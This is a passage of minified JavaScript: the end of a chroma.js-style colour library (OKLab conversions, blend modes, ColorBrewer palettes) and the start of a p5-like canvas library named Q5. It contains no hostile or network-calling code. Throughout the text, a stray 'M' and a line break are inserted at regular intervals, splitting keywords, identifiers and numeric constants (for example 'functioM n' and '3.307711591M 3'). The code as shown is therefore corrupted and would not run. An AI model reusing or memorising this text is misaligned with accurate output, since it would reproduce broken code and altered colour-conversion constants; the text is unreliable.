-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
